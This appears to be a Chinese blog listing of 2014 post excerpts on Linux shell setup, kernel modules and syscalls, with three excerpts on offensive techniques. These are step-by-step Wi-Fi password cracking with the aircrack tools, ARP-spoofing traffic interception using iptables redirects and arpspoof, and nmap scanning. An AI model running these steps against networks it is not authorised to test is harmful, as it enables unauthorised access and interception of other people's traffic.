摘要: 前一阵子更换Linux衍生版的频率有点高 -_-|||,各个衍生版的Linux Shell命令还是又一些差异的,例如有的衍生版会有ll,la等等这些命令,其实这些东西基本都是在Shell的初始化脚本中做的。一般来说,Shell的初始化脚本分为2种:一种是全局默认的,一种是用户自己的。全局默认的路径为/etc/profile在profile中,它默认会再加载/etc/bash.bashrc。另一种用户自己的就是$HOME目录下的.profile它默认会载加载.bashrc文件。各中文件也会加载一些其他的脚本,这个具体视脚本而定。理清整个脚本加载过程后,就动手修改,至于要在那个脚本修改,还看个人取 阅读全文
posted @ 2014-04-11 10:12 i0ject 阅读(60754) 评论(1) 推荐(2)
摘要: 现在我用的是虚拟机下ubuntu10.10,内核版本已经升级到2.6.38.2,要完成的任务有:TASK 1:在内核的结构体task_struct中添加一个数据成员ctx,记录每个进程切换(被调度)的次数,并编写一个模块显示进程的信息,包括该数据成员的值;TASK 2:在内核中增加一个系统调用,并编写用户态程序调用该系统调用;首先修改内核源码(最好是之前make的源码)FIRST:基于TASK 1的源码修改1. 在task_struct中添加一个数据成员,在源码文件include/linux/sched.h中找到task_struct所在位置,添加一个成员ctx记录每个进程切换(被调度)的次数 阅读全文
posted @ 2014-04-11 09:52 i0ject 阅读(619) 评论(0) 推荐(0)
摘要: Linux提供了一种动态加载内核的机制,这种机制称为模块(Module),模块具有一下特点:1、模块本身不被编译入内核映像,从而控制了内核的大小。2、模块一旦被加载,它就和内核中的其它部分完全一样。为了方便理解,下面从一个最简单的内核模块“Hello World” 开始。(我的环境是:Ubuntu9.10 , linux-source-2.6.31)1、在/home/china/test中编写hello.c文件如下:#include#includeMODULE_LICENSE("Dual BSD/GPL"); //声明GPL版权static int hello_init(v 阅读全文
posted @ 2014-04-10 16:28 i0ject 阅读(3077) 评论(0) 推荐(0)
摘要: #ifndef _SCHED_H#define _SCHED_H#define NR_TASKS 64 // 系统中同时最多任务(进程)数。#define HZ 100 // 定义系统时钟滴答频率(1 百赫兹,每个滴答10ms)#define FIRST_TASK task[0] // 任务0 比较特殊,所以特意给它单独定义一个符号。#define LAST_TASK task[NR_TASKS-1] // 任务数组中的最后一项任务。#include // head 头文件,定义了段描述符的简单结构,和几个选择符常量。#inclu... 阅读全文
posted @ 2014-04-10 15:29 i0ject 阅读(7731) 评论(0) 推荐(0)
摘要: 这篇日志基于别人一篇BT5的破解,Kali同样适用.附加Pin码破解1.ifconfig看看自己的无线网卡的名称,一般是wlan0或者eth0,后文中根据实际情况执行命令。2.airodump-ng wlan0 扫描当前所有路由器3.开启无线监控airmon-ng start wlan0 6注:wlan0为你的无线设备名称6为你要开启的信道(但是这里的6其实并没有那么重要的说)这一步你可能会看到提示有XXXX XXXX进程影响,没关系,kill XXX XXXXXX为给出的进程号,然后重新执行上句直到不报错4.因为我们已经选择好了目标,我们就直奔目标AP,开始用BT5对其进行监控airodum 阅读全文
posted @ 2014-04-10 14:56 i0ject 阅读(4902) 评论(0) 推荐(0)
摘要: 这里假设 RouteIP:192.168.1.1 OwnIP:192.168.1.100 TargetIP:192.168.1.1011.echo 1> /proc/sys/net/ipv4/ip_forward2.cat /proc/sys/net/ipv4/ip_forward 如果显示是1 第一步可以不做3.iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 100004.arpspoof -i eth0 (ifconfig -a 查看所选用网络模块,eth0 有线 )-t 阅读全文
posted @ 2014-04-10 14:55 i0ject 阅读(2704) 评论(0) 推荐(0)
摘要: 很早以前就接触kali了,比较懒就没有写日志,今天特地研究了一下nmap的用法.nmap的扫描速很快,具体原理就不在这里赘述.由于Namp Scripting Engine Nes可以收集很多信息.Usage:nmap 192.168.1.1 192.168.1.0-255 == 192.168.1.0/24 ==192.168.1.* 可以扫描常见端口和Mac address-sP Ping only nmap -sP 192.168.1.* 可获取Mac信息-sS Can pass hostnames,IP addresses,networs,etc. 查找当前网络存活主机-pO 常见端口 阅读全文
posted @ 2014-04-10 14:54 i0ject 阅读(1725) 评论(0) 推荐(0)
摘要: ricky_proc.c源码:#include #include #include #include #include #include #include #define MODULE_VERSION "1.0"#define MODULE_NAME "ricky_proc_info_final"#define P_MAX_LEN 30#define ARRAYMAX 4096static struct proc_dir_entry *ricky_file, *ricky_dir;static char c[ARRAYMAX];static int pr 阅读全文
posted @ 2014-04-10 14:35 i0ject 阅读(586) 评论(0) 推荐(0)
摘要: 我们有时需要得到程序的运行时间,但我们也要知道,根本不可能精确测量某一个程序运行的确切时间­[3],文献[4]中说的很明白,现摘录如下。 我们平时常用的测量运行时间的方法并不是那么精确的,换句话说,想精确获取程序运行时间并不是那么容易的。也许你会想,程序不就是一条条指令么,每一条指令序列都有固定执行时间,为什么不好算?真实情况下,我们的计算机并不是只运行一个程序的,进程的切换,各种中断,共享的多用户,网络流量,高速缓存的访问,转移预测等,都会对计时产生影响。 文献[4]中还提到:对于进程调度来讲,花费的时间分为两部分,第一是计时器中断处理的时间,也就是当且仅当这个时间间隔的时候,操作 阅读全文
posted @ 2014-04-10 14:25 i0ject 阅读(470) 评论(0) 推荐(0)
摘要: linux内核是一个整体是结构。因此向内核添加任何东西。或者删除某些功能 ,都十分困难。为了解决这个问题。引入了内核机制。从而可以动态的想内核中添加或者删除模块。模块不被编译在内核中,因而控制了内核的大小。然而模块一旦被插入内核,他就和内核其他部分一样。这样一来 就会曾家一部分系统开销。同时,如果模块出现问题。,也许会带来系统的崩溃。1、1模块的实现机制:启动时,由函数 void inti_modules() 来初始化模块。因为启动事很多时候没有模块。这个函数往往把内核自 身当作一个虚模块。如由系统需要,则调用一系列以sys 开头的函数,对模块进行操作。如:sys_creat_modules( 阅读全文
posted @ 2014-04-10 14:21 i0ject 阅读(415) 评论(0) 推荐(0)